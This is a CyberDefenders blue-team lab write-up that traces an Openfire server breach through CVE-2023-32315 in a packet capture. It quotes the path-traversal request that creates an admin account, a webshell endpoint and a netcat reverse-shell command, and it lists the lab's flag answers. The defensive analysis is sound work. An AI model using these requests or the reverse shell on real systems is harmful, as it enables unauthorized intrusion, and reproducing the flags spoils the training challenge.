// CyberDefenders  ·  writeup

Openfire

CyberDefenders Wireshark

Scenario

An Openfire messaging server was compromised in a data breach exposing sensitive communications. Network capture files were provided to identify the exploitation method, trace attacker actions, and extract indicators of compromise.


Tooling


Investigation

Initial Access — Credential Harvesting

Filtering for POST requests to identify login activity:

http.request.method == "POST"

This revealed a login request containing a CSRF token and plaintext credentials:

Account Creation via Path Traversal

Filtering for GET requests exposed the attacker exploiting CVE-2023-32315 — an authentication bypass in Openfire’s setup console — to create a new administrative account via path traversal:

http.request.method == "GET"

The malicious request:

GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=yGWwGRL3IKMHPFX&username=3536rr&password=dc0b2y&passwordConfirm=dc0b2y&isadmin=on

The URL-encoded %u002e%u002e sequences decode to .. — traversing out of the setup directory to reach the user creation endpoint without authentication.

Admin Panel Access

With the newly created account, the attacker authenticated to the admin panel using a second account:

Malicious Plugin Upload

Following the HTTP stream for plugin-admin.jsp?uploadplugin revealed the attacker uploading a malicious plugin to establish persistent code execution:

Webshell Execution

With the plugin active, the attacker used the exposed cmd.jsp endpoint to execute commands:

POST /plugins/openfire-plugin/cmd.jsp?action=command HTTP/1.1

First command executed: whoami

openfire_whoami.webp

The attacker then established a reverse shell using netcat:

command=nc+192.168.18.160+8888+-e+%2Fbin%2Fbash

Decoded: nc 192.168.18.160 8888 -e /bin/bash

openfire_revshell.webp

Post-Exploitation Reconnaissance

Following the reverse shell stream revealed host reconnaissance commands:

openfire_ifconfig.webp

IOCs

TypeValue
IP192.168.18.160
CVECVE-2023-32315
CSRF TokentmJU6J9uym8oIOD
Admin PasswordAdmin@Passw0rd#@#
Created Username3536rr
Admin Usernamea7zo4l
Malicious Pluginopenfire-plugin.jar
Reverse Shell Port8888

Conclusion

The attacker exploited CVE-2023-32315, an authentication bypass in Openfire’s setup console, using path traversal to create a rogue admin account without credentials. After authenticating to the admin panel, they uploaded a malicious JAR plugin exposing a command execution endpoint, then used it to spawn a netcat reverse shell and conduct post-exploitation reconnaissance.


References

What is the CSRF token value for the first login request?
Click flag to revealtmJU6J9uym8oIOD
What is the password of the first user who logged in?
Click to reveal answerAdmin@Passw0rd#@#
What is the 1st username that was created by the attacker?
Click flag to reveal3536rr
What is the username that the attacker used to login to the admin panel?
Click to reveal answera7zo4l
What is the name of the plugin that the attacker uploaded?
Click flag to revealopenfire-plugin.jar
What is the first command that the user executed?
Click to reveal answerwhoami
Which tool did the attacker use to get a reverse shell?
Click flag to revealnetcat
Which command did the attacker execute on the server to check for network interfaces?
Click to reveal answerifconfig
What is the CVE of the vulnerability exploited?
Click flag to revealCVE-2023-32315

I successfully completed Openfire Blue Team Lab at @CyberDefenders! https://cyberdefenders.org/blueteam-ctf-challenges/achievements/inksec/openfire/

#CyberDefenders #CyberSecurity #BlueYard #BlueTeam #InfoSec #SOC #SOCAnalyst #DFIR #CCD #CyberDefender